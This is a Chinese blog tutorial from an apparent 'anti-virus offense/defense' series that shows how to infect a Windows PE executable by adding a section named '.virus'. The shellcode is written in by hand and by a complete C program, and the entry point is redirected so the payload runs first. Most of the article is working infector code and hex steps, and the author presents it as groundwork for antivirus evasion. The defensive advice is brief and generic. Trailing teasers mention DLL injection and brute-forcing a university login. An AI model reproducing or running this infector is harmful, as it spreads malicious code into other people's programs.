反病毒攻防研究第005篇:添加节区实现代码的植入

一、前言

上一篇文章所讨论的利用缝隙实现代码的植入有一个很大的问题,就是我们想要植入的代码的长度不能够比缝隙大,否则需要把自身的代码截成几个部分,再分别插入不同的缝隙中。而这次所讨论的方法是增加一个节区,这个节区完全可以达到私人订制的效果,其大小完全由我们自己来决定,这样的话,即便是代码较长,也不用担心。而这种方式最大的缺陷就是不利于恶意代码自身的隐藏,因此在现实中可能并不常用。其实,我在这里讨论节区的添加,是为了以后更加深入的讨论打下基础,因为在加壳以及免杀技术中,经常会对PE文件添加节区。这篇文章首先会讨论如何手工添加节区,之后会讨论编程实现节区的添加。

二、手工添加节区

就我个人而言,只要不是过于繁琐,我都比较倾向于直接利用十六进制代码编辑软件来修改目标程序。因为当理解了各种文件的格式之后,纯手工对代码进行编辑会更加灵活,也更加方便。只要ShellCode不太长,那么手工添加节区来植入代码,其实还是比较容易的。一般来说,添加节区由以下四个步骤组成:

1、在节表后面添加一个IMAGE_SECTION_HEADER,用于保存所添加的节的基本信息。

2、更新IMAGE_FILE_HEADER中的NumberOfSections字段,添加了几个节区就增加多少。

3、更新IMAGE_OPTIONAL_HEADER中的SizeOfImage字段,这里需要加上所添加节区的大小。如果添加代码,还需修改SizeOfCode的大小以及程序入口点。

4、添加节区的数据。

这里先用PEiD看一下上一篇文章中所编写的helloworld.exe的节区情况(这里所讨论的是Release版,如果是Debug版,会有所不同):

图1 用PEiD查看节区

从截图中可以看到helloworld.exe包含有三个节区,再来看一下IMAGE_SECTION_HEADER的定义:

typedef struct _IMAGE_SECTION_HEADER {
        BYTE Name[IMAGE_SIZEOF_SHORT_NAME];      //8个字节的节区名称
        union {                                  //节区尺寸
                DWORD PhysicalAddress;
                DWORD VirtualSize;
        } Misc;
        DWORD VirtualAddress;                    //节区的RVA地址
        DWORD SizeOfRawData;                     //在文件中对齐后的尺寸
        DWORD PointerToRawData;                  //在文件中的偏移
        DWORD PointerToRelocations;              //在OBJ文件中使用,重定位的偏移
        DWORD PointerToLinenumbers;              //行号表的偏移(供调试用)
        WORD NumberOfRelocations;                //在OBJ文件中使用,重定位项数目
        WORD NumberofLinenumbers;                //行号表中行号的数目
        DWORD Characteristics;                   //节区的属性
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

该结构体的成员很多,但是真正需要使用的只有在PEiD中显示的那6个,即Name、VirtualSize、VirtualAddress、SizeofRawData、PointerToRawData与Characteristics。结合Hex Editor Neo观察如下:

图2 用Hex Editor Neo查看节区数据

在图2中可以发现,IMAGE_SECTION_HEADER的长度是40个字节,每一项节表的相关数据在Hex Editor Neo中正好占了两行半的内容。这里再解释一下在PEiD中所显示的那六个成员的意义:

1、Name:节区名称。这是一个8位ASCII码名(不是Unicode内码),用来定义节区名称。一般来说,节区名称以一个“.”开始(如.text),但是其实这个“.”并不是必需的。需要说明的是,如果节区的名称超过8个字节,则没有最后的终止标志“NULL”字节。带有一个“$”的节区名字会从链接器那里得到特殊的对待,前面带有“$”的相同名字的节区被合并,在合并后的节区中,它们是按“$”后面的字符字母顺序进行合并的。

对于helloworld.exe这个程序来说,为了实现所添加节区的隐藏,可以将新添加的节区名称伪装成正常的节区名称,比如.crt、.bss、.edata或者.sdata等等。或者把原来正常的节区名称改掉,如将原来的.text改为.jy(我名字的缩写),而将所添加的节区名称命名为.text,一般来说,系统不会因为节区改了名字而出错。这里为了方便起见,将新节区的名字设定为.virus。

2、VirtualSize(V.Size):指出实际的、被使用的节区大小,是节区在没进行对齐处理前的实际大小。如果VirtualSize大于SizeOfRawData,那么SizeOfRawData是来自可执行文件初始化数据的大小,与VirtualSize相差的字节用零填充。这个字段在OBJ文件中是被设定为0的。

这里我将节的大小直接设定为对齐后的大小。由于文件对齐是0x1000字节,那么就采用最小值即可,直接设定为0x1000。由于计算机是小端显示,且占据4个字节,因此应当写为“00 10 00 00”,这种小端的书写方式在之后的数据填写中也会采用。

3、VirtualAddress(V.Offset):表示节区装载到内存中的RVA。这个地址是按照内存页对齐的,它的值总是SectionAlignment的整数倍。在Microsoft工具中,第一个块的默认RVA为1000h。在OBJ中,该字段没有意义,并被设为0。

VirtualAddress的值是上一个节区的起始位置加上上一个节对齐后的长度的值,在PEiD中可见,上一个节区的起始位置是0x7000,上个节区对齐后的长度是0x4000,因此新节区的起始位置是0xB000。

4、SizeOfRawData(R.Size):该节区在磁盘文件中所占的大小。在可执行文件中,该字段包含经过FileAlignment调整后的块的长度。例如,指定FileAlignment的大小为200h,如果VirtualSize中的块的长度为19Ah个字节,这一块应保持的长度为200h个字节。

这里只要填写一个最小值0x1000就可以。

5、PointerToRawData(R.Offset):该节区在磁盘文件中的偏移。程序经编译或汇编后生成原始数据,这个字段用于给出原始数据在文件中的偏移。如果程序自装载PE或COFF文件(而不是由操作系统装入),这一字段比VirtualAddress还重要。在这种状态下,必须完全使用线性映像方法装入文件,所以需要在该偏移处找到块的数据,而不是VirtualAddress字段中的RVA地址。

由于上一个节区的位移为0x7000,大小为0x3000,所以这里的R.Offset应该为0xA000。

6、Characteristics(Flags):节区属性。该字段是一组指出节区属性(如代码/数据/可读/可写)的标志。具体的属性可以查表获得。

这里可以直接参考.text的属性,即“20 0000 60”(包含代码,可读可执行)。

那么依据上述分析,在紧接着上一个节区位置的0x240处开始,直接手工填写相关数据如下:

图3 手工添加节区的基本信息

至此,节区的基本信息添加完成,接下来需要修改这个PE文件的节区数量,之前该文件有3个节区,这里需要修改成4个。找到IMAGE_FILE_HEADER中的NumberOfSections字段进行修改:

图4 更改节区数量

接下来需要修改文件映像的大小,也就是SizeOfImage的值。因为这里我新添加了一个节区,那么就应该把新的节区的大小加上原始SizeOfImage的值,就是新的文件映像的大小。这里原始的SizeOfImage大小为0xB000,新节区的大小为0x1000,那么新的SizeOfImage的大小就是0xC000。

图5 更改文件映像大小

由于我在文件中添加了新的代码段,所以这里还需要修改SizeOfCode的大小,出现多个代码节,就应该把这个字段修改为它们的总和。我添加了0x1000字节的内容,那么就应将这个数据段修改成0x6000:

图6 修改代码节的大小

至此,修改PE结构字段的内容都已经做完了,现在开始需要添加真实的数据,根据上述分析,文件的起始位置为0xA000,长度为0x1000。填入ShellCode,并在其后填入00,将0x1000长度的空间补满(不补满的话,系统会报错,补多了的话,会显示有附加数据):

图7 添加ShellCode

这里的返回地址(0x00401203)与上一篇文章中的不同,需要注意。最后一步就是将程序的入口点修改为ShellCode的入口点,即将AddressOfEntryPoint修改为0xB000(RVA):

图8 修改程序入口地址为ShellCode地址

至此,所有修改完成,再次使用PEiD查看,如图所示:

图9 添加成功

经过实际测试,程序正常运行,效果与上一篇文章所讨论的相同,这里不再赘述。

三、编程添加节区

与上一篇文章中的在缝隙中添加代码的方法类似,通过编程添加一个节区其实就是对文件的一系列操作,并且依然需要对PE文件的合法性进行检验。通过编程的方法添加节区和手动方法在步骤上是一样的,只不过是将上面的手动步骤以通过调用API函数的方式进行编程而已。完整代码如下:

#include <windows.h>
#define FILENAME "helloworld.exe"    //欲“感染”的文件名

char szSecName[] = ".virus";         //所添加的节区名称
int nSecSize = 4096;                 //所添加的节区大小(字节)

char shellcode[] =
        "\x33\xdb"                   //xor  ebx,ebx
        "\x53"                       //push ebx
        "\x68\x2e\x65\x78\x65"       //push 0x6578652e
        "\x68\x48\x61\x63\x6b"       //push 0x6b636148
        "\x8b\xc4"                   //mov  eax,esp
        "\x53"                       //push ebx
        "\x50"                       //push eax
        "\xb8\x31\x32\x86\x7c"       //mov  eax,0x7c863231
        "\xff\xd0"                   //call eax
        "\xb8\x90\x90\x90\x90"       //mov  eax,OEP
        "\xff\xe0\x90";              //jmp  eax

HANDLE hFile = NULL;
HANDLE hMap = NULL;
LPVOID lpBase = NULL;

DWORD AlignSize(int nSecSize, DWORD Alignment)
{
        int nSize = nSecSize;
        if (nSize % Alignment != 0 )
        {
                nSecSize = (nSize / Alignment + 1) * Alignment;
        }

        return nSecSize;
}

void AddSectionData(int nSecSize)
{
        PBYTE pByte = NULL;
        //申请用来添加数据的空间,这里需要减去ShellCode本身所占的空间
        pByte = (PBYTE)malloc(nSecSize-(strlen(shellcode)+3));
        ZeroMemory(pByte, nSecSize-(strlen(shellcode)+3));

        DWORD dwNum = 0;
        //令文件指针指向文件末尾,以准备添加数据
        SetFilePointer(hFile, 0, 0, FILE_END);
        //在文件的末尾写入ShellCode
        WriteFile(hFile, shellcode, strlen(shellcode)+3, &dwNum, NULL);
        //在ShellCode的末尾用00补充满
        WriteFile(hFile, pByte, nSecSize-(strlen(shellcode)+3), &dwNum, NULL);
        FlushFileBuffers(hFile);

        free(pByte);
}

int main()
{
        hFile = CreateFile(FILENAME,
                           GENERIC_READ | GENERIC_WRITE,
                           FILE_SHARE_READ,
                           NULL,
                           OPEN_EXISTING,
                           FILE_ATTRIBUTE_NORMAL,
                           NULL);
        hMap = CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,0);
        lpBase = MapViewOfFile(hMap,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);

        PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
        PIMAGE_NT_HEADERS pNtHeader = NULL;

        //PE文件验证,判断e_magic是否为MZ
        if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
        {
                UnmapViewOfFile(lpBase);
                CloseHandle(hMap);
                CloseHandle(hFile);
                return 0;
         }
        //根据e_lfanew来找到Signature标志位
        pNtHeader = (PIMAGE_NT_HEADERS)((BYTE *)lpBase + pDosHeader->e_lfanew);
        //PE文件验证,判断Signature是否为PE
        if(pNtHeader->Signature != IMAGE_NT_SIGNATURE)
        {
                UnmapViewOfFile(lpBase);
                CloseHandle(hMap);
                CloseHandle(hFile);
                return 0;
        }

        int nSecNum = pNtHeader->FileHeader.NumberOfSections;
        DWORD dwFileAlignment = pNtHeader->OptionalHeader.FileAlignment;
        DWORD dwSecAlignment = pNtHeader->OptionalHeader.SectionAlignment;

        PIMAGE_SECTION_HEADER pSecHeader = (PIMAGE_SECTION_HEADER)((DWORD)
                &(pNtHeader->OptionalHeader)+pNtHeader->
                FileHeader.SizeOfOptionalHeader);

        PIMAGE_SECTION_HEADER pTmpSec = pSecHeader + nSecNum;

        //拷贝节区名称
        strncpy((char *)pTmpSec->Name, szSecName, 7);
        //节的内存大小
        pTmpSec->Misc.VirtualSize = AlignSize(nSecSize, dwSecAlignment);
        //节的内存起始位置
        pTmpSec->VirtualAddress = pSecHeader[nSecNum - 1].VirtualAddress +
                AlignSize(pSecHeader[nSecNum - 1].Misc.VirtualSize, dwSecAlignment);
        //节的文件大小
        pTmpSec->SizeOfRawData = AlignSize(nSecSize, dwFileAlignment);
        //节的文件起始位置
        pTmpSec->PointerToRawData = pSecHeader[nSecNum - 1].PointerToRawData +
                AlignSize(pSecHeader[nSecNum - 1].SizeOfRawData, dwSecAlignment);
        //节的属性(包含代码,可执行,可读)
        pTmpSec->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ ;

        //修正节的数量,自增1
        pNtHeader->FileHeader.NumberOfSections ++;
        //修正映像大小
        pNtHeader->OptionalHeader.SizeOfImage += pTmpSec->Misc.VirtualSize;

        //将程序的入口地址写入ShellCode
        DWORD dwOep = pNtHeader->OptionalHeader.ImageBase+pNtHeader->OptionalHeader.AddressOfEntryPoint;
        *(DWORD *)&shellcode[25] = dwOep;

        //添加节区数据
        AddSectionData(pTmpSec->SizeOfRawData);

        //修正代码长度(只在添加代码时才需修改此项)
        pNtHeader->OptionalHeader.SizeOfCode += pTmpSec->SizeOfRawData;
        //修正程序的入口地址(只在添加代码并想让ShellCode提前执行时才需修改此项)
        pNtHeader->OptionalHeader.AddressOfEntryPoint = pTmpSec->VirtualAddress;

        FlushViewOfFile(lpBase, 0);

        UnmapViewOfFile(lpBase);
        CloseHandle(hMap);
        CloseHandle(hFile);

        return 0;
}

以上代码比较简单,就是基本的文件操作,已给出了相关的注释,这里不再论述。

四、防范方法

在我看来,感染类病毒并不容易清除,因为它会把自身代码植入到正常PE文件中,尽管中毒后可以运用杀毒工具针对其对计算机造成的损害进行清除,但是难以删除隐藏在正常程序中的恶意代码。虽然我们可以不再运行含有恶意程序的软件,但是只要运行过一次,那么它就有可能将计算机中的所有PE文件感染,这样即便我们使用杀毒工具清除了病毒所产生的不良行为,但是一旦运行别的程序,依旧会再次中病毒。而且就算有方法将藏身于PE文件中的病毒代码彻底清除,也有可能破坏程序主体,使该程序不能够正常运行。因此,最好的方法就是从源头上杜绝这种情况的出现,不要下载和运行来历不明的程序,并且安装杀毒软件。也就是说,一定要培养出良好的计算机安全意识。

五、小结

这次我们讨论了手工以及编程添加节区的方法,其实它的原理非常简单,只是比较繁琐而已。通过这篇文章的讨论,也为以后的免杀技术的讨论打下了基础。

时间: 2024-10-16 20:03:50

反病毒攻防研究第005篇:添加节区实现代码的植入的相关文章

反病毒攻防研究第004篇:利用缝隙实现代码的植入

一.前言 现在很多网站都提供各式各样软件的下载,这就为黑客提供了植入病毒木马的良机.黑客可以将自己的恶意程序植入到正常的程序中,之后发布到网站上,这样当用户下载并运行了植入病毒的程序后,计算机就会中毒,而且病毒可能会接着感染计算机中的其他程序,甚至通过网络或者U盘,使得传播面积不断扩大.而本篇文章就来剖析病毒感染的实现原理,首先需要搜索正常程序中的缝隙用于"病毒"(用对话框模拟)的植入,之后感染目标程序以实现"病毒"的启动.当然,讨论完这些,我依旧会分析如何应对这种

反病毒攻防研究第015篇:病毒感染标志的添加

一.前言 对于感染型病毒而言,如果对同一个目标文件多次进行感染,有可能导致目标文件损坏,使得无法执行.所以病毒程序往往会在第一次感染时对目标文件写进一个感染标志,这样在第二次遇到该文件时,首先判断一下该文件中是否包含有感染标志,如果有,则不再感染,如果没有感染标志则进行感染(关于文件的感染,可参见<反病毒攻防研究第004篇:利用缝隙实现代码的植入>和<反病毒攻防研究第005篇:添加节区实现代码的植入>).所谓的感染标志其实就是在PE文件中无关紧要的位置写入的一个字符串,所以感染标志

反病毒攻防研究第012篇:利用Inline HOOK实现主动防御

一.前言 之前文章中所讨论的恶意程序的应对方法,都是十分被动的,即只有当恶意程序被执行后,才考虑补救措施.这样,我们就会一直处于后手状态,而如果说病毒的危害性极大,那么即便我们完美地修复了诸如注册表项,服务项等敏感位置,并且删除了病毒本身,但是它依旧可能已经破坏了系统中非常重要的文件,造成了不可逆的损伤.因此这篇文章就来简单讨论一下利用Inline HOOK技术实现主动防御,在病毒执行前,就主动将危险函数劫持,如同一道防火墙,保护我们计算机的安全. 二.Inline HOOK原理 我们平时所使用

反病毒攻防研究第009篇:DLL注入(上)——DLL文件的编写

一.前言 我之前所编写的用于模拟计算机病毒的对话框程序都是exe文件,所以运行时必将会产生一个进程,产生进程就非常容易被发现.而为了不被发现,可以选择将对话框程序创建为DLL文件.这种文件会加载到已有进程的地址空间中,这样就不会再次创建出进程,隐蔽性相对较好,DLL注入也是恶意程序总会使用的手段.这次我带算用几篇文章的篇幅来论述DLL注入的问题,而这篇文章就首先来讨论一下如何把我之前的对话框程序改写为DLL文件. 二.编写对话框DLL程序 这里我依旧使用VC++6.0,创建一个简单的Win32

反病毒攻防研究第010篇:DLL注入(中)——DLL注入与卸载器的编写

一.前言 我在上一篇文章中所讨论的DLL利用方法,对于DLL文件本身来说是十分被动的,它需要等待程序的调用才可以发挥作用.而这次我打算主动出击,编写DLL注入与卸载器,这样就可以主动地对进程进行注入的操作了,从而更好地模拟现实中恶意代码的行为. 二.DLL注入的原理 如果想让DLL文件强制注入某个进程,那么就需要通过创建远程线程来实现.这里需要注意的是,所谓的"远程线程",并不是跨计算机的,而是跨进程的.举例来说,进程A在进程B中创建一个线程,这就叫做远程线程.从根本上说,DLL注入技

反病毒攻防研究第011篇:DLL注入(下)——无DLL的注入

一.前言 一般来说,想要将自己编写的程序注入到其它进程中,是必须要使用DLL文件的,这种方法已经在上一篇文章中讨论过了.但是事实上,可以不依赖于DLL文件来实现注入的.只不过这种方法不具有通用性,没有DLL注入那样灵活,因为它需要把代码写入"注入程序"中,一旦想要注入的内容发生了变化,就需要重写整个"注入程序".而不像DLL注入那样,只要修改DLL程序即可.即便如此,无DLL进行注入的方式,也是一种值得讨论的方法. 二.无DLL注入的基本原理 在注入与卸载方面,无论

反病毒攻防研究第007篇:简单木马分析与防范part1

一.前言 病毒与木马技术发展到今天,由于二者总是相辅相成,你中有我,我中有你,所以它们之间的界限往往已经不再那么明显,相互之间往往都会采用对方的一些技术以达到自己的目的,所以现在很多时候也就将二者直接统称为"恶意代码".这次我打算用两篇文章的篇幅来讨论病毒与简单的木马相互结合的分析与防范方法.本篇也就是第一篇,讨论的是利用只有服务器端的木马程序实现"病毒"的启动.而在下一篇中,我会讨论既有服务器端又有客户端的木马程序与"病毒"相结合的分析与防范.

反病毒攻防研究第008篇:简单木马分析与防范part2

一.前言 一般来说,木马是既有客户端也有服务器端的.上次讨论的不过是一种特殊情况,毕竟不是人人都懂得DOS命令,因此现在木马的客户端也都是做成非常直观的界面形式,方便操作.本篇文章会从客户端与服务器端两个方面进行讨论,与上次的讨论不同的是,这次我会直接把用来模拟病毒的对话框程序放入服务器端,这样只要成功连接,那么就可以通过由客户端所发出的命令来让服务器端直接执行对话框程序.用这种思想,可以给服务器端增加很多功能,但是在这里仅仅讨论对话框的打开. 二.服务器端的实现 这里所讨论的木马依旧是命令行下

网络攻防研究第001篇:尝试暴力破解某高校研究生管理系统学生密码

前言 如果你是在校大学生,而且还对网络攻防比较感兴趣的话,相信你最开始尝试渗透的莫过于所在院校的学生管理系统.因为一般来说这样的系统往往比较薄弱,拿来练手那是再合适不过的了.作为本系列的第一篇文章,我将会利用暴力破解的方式,尝试对某高校的研究生管理系统的学生密码进行破解.由于这个管理系统的网站属于该高校的内网资源,外网是无法访问的,因此大家就不要尝试按照文中的内容来对文中出现的网址进行访问了.利用本文所论述的暴力破解思想,可以帮助大家更好地认识我们的网络,也有助于了解目标网站是否安全.那么在这里